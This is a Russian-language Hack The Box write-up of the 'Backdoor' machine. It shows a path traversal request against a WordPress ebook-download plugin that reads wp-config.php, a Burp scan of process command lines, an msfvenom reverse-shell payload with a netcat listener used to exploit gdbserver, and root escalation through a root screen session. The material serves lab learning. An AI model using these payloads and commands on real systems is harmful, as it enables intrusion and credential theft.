Хакер - HTB Backdoor. Взламываем сайт на WordPress и практикуемся в разведке
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Точка входа
- Точка опоры
- Локальное повышение привилегий
Сегодня мы с тобой на примере легкой по уровню сложности машины Backdoor с площадки Hack The Box поупражняемся в простейших атаках на веб‑приложения. Поищем уязвимые плагины для WordPress, проэксплуатируем уязвимость типа path traversal, переберем информацию о процессах при помощи Burp и повысим привилегии в системе через пользовательский скрипт.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.125 backdoor.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Мы нашли два открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Apache 2.4.41.
SSH смело пропускаем, там делать нечего.
Справка: брутфорс учеток
Поскольку вначале у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем делать здесь, — перебирать пароли брутфорсом, но машины с HTB почти всегда можно пройти по‑другому. В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социальной инженерии.
Изучим веб‑сервер. Nmap сразу показал, что там установлен движок WordPress 5.8.1.

Кстати, ту же самую информацию (и даже чуть подробнее) можем получить, проанализировав сайт утилитой whatweb.
whatweb http://backdoor.htb

ТОЧКА ВХОДА
При тестировании сайтов на WordPress лучше всего использовать утилиту wpscan. С ее помощью можно обнаружить уязвимые версии самого WordPress, тем и плагинов, а также собрать список пользователей и перебрать учетные данные. В общем, все, что нужно. Перед началом сканирования советую зарегистрироваться на официальном сайте и получить токен для доступа к API. Это бесплатно.
Чаще всего уязвимости присутствуют в плагинах, поэтому я зарядил их перебор (опция -e ap) в агрессивном режиме (опция --plugins-detection aggressive), используя 100 потоков (опция -t 100).
wpscan --url http://backdoor.htb/ -e ap --plugins-detection aggressive -t 100

Потратив несколько минут, мы получаем отчет, в котором отмечены два плагина. Об уязвимостях ничего не сообщается, но в ebook-download не проиндексирован каталог, что позволяет просмотреть его содержимое.

Из файла readme.txt узнаем версию плагина — 1.1. Странно, ведь сканер отобразил 1.5.

Ищем известные уязвимости и эксплоиты для ebook-download 1.1 и находим PoC.
Справка: поиск готовых эксплоитов
При пентесте лучше всего искать эксплоиты в Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Ускорят дело специализированные базы вроде Exploit-DB — там часто можно обнаружить подходящие варианты. Если ты работаешь в специализированной ОС вроде Kali Linux, то эта база у тебя уже есть и для поиска можно использовать утилиту searchsploit.

ТОЧКА ОПОРЫ
Уязвимость и эксплоит очень простые. Это path traversal, то есть возможность обращаться к родительскому каталогу (../) при указании пути к файлу. Три таких шага, и мы выбираемся в корневую директорию WordPress, где можем прочитать файл с конфигурацией. Делается это одним запросом:
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

Здесь хранятся учетные данные для подключения к базе данных. Первая идея — попробовать эти учетные данные для логина по SSH (не вышло) и доступа к панели администрирования WordPress, расположенной в каталоге /wp-admin/. Авторизоваться на сайте также не вышло.

Тогда мы можем поискать другие интересные файлы и получить больше информации с сервера. Я использовал список с такими файлами и потратил много времени на их просмотры, ведь мы можем прочитать почти все, для чего хватает привилегий. И ничего интересного, кроме файла /proc/self/cmdline.

Файловая система /proc — это специальная ФС, которая есть во многих современных UNIX-системах. В ней можно найти массу полезной информации в текстовом виде. Внутри каталога /proc — огромное число других каталогов с цифровыми названиями. Имя каждого такого каталога соответствует идентификатору работающего в системе процесса (PID). А файл /proc/[pid]/cmdline содержит аргументы командной строки, с которыми был запущен процесс. Идентификатор self указывает на текущий процесс.
После этой находки у меня возникла идея проверить аргументы командной строки всех процессов, вдруг какому‑то из них были переданы учетные данные. С помощью Burp Intruder можно перебрать идентификаторы. Это легко сделать, указав Numbers в качестве типа нагрузки и промежуток перебора от 0 до 10 000 с шагом 1.



Учетных данных не находим, зато отмечаем, что на порте 1337 запущен gdbserver. Мы не знаем версии, поэтому попробуем найти просто самый новый эксплоит.
Первая же ссылка в Google наводит нас на скрипт, который эксплуатирует RCE-уязвимость в gdbserver 9.2. Чтобы воспроизвести это, сгенерируем файл с нагрузкой при помощи MSFvenom:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.73 LPORT=4321 PrependFork=true -o rev.bin
Затем с использованием netcat создадим листенер для приема бэкконнекта.
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
В качестве самого листенера при этом можно использовать широко известный netcat.
rlwrap nc -lvp [port]
Для этого выполним такую команду:
rlwrap -cAr nc -lvnp 4321
И запустим эксплоит.


Получаем интерактивную TTY-оболочку и читаем первый флаг — пользовательский.
python3 -c "import pty;pty.spawn('/bin/bash')"

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Для захвата флага рута нам понадобится повысить привилегии в системе. Самые очевидные шаги для этого — проверить настройки sudoers, приложения с выставленным битом SUID, прослушиваемые на локальном хосте порты и список запущенных приложений. Везет с последним пунктом. Мы находим работающий в системе пользовательский скрипт.

На хосте каждую секунду запускается команда find:
find /var/run/screen/S-root/ -empty -exec screen -dmS root
Если она находит процесс screen, то выполняет действие exec, что приведет к запуску screen в автономном режиме (причем запущенном от имени суперпользователя). То есть мы можем запустить screen и подключиться ко второму, запущенному командой find привилегированному процессу.
export TERM=xterm
screen -x root/root
Это дает нам привилегированный шелл.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei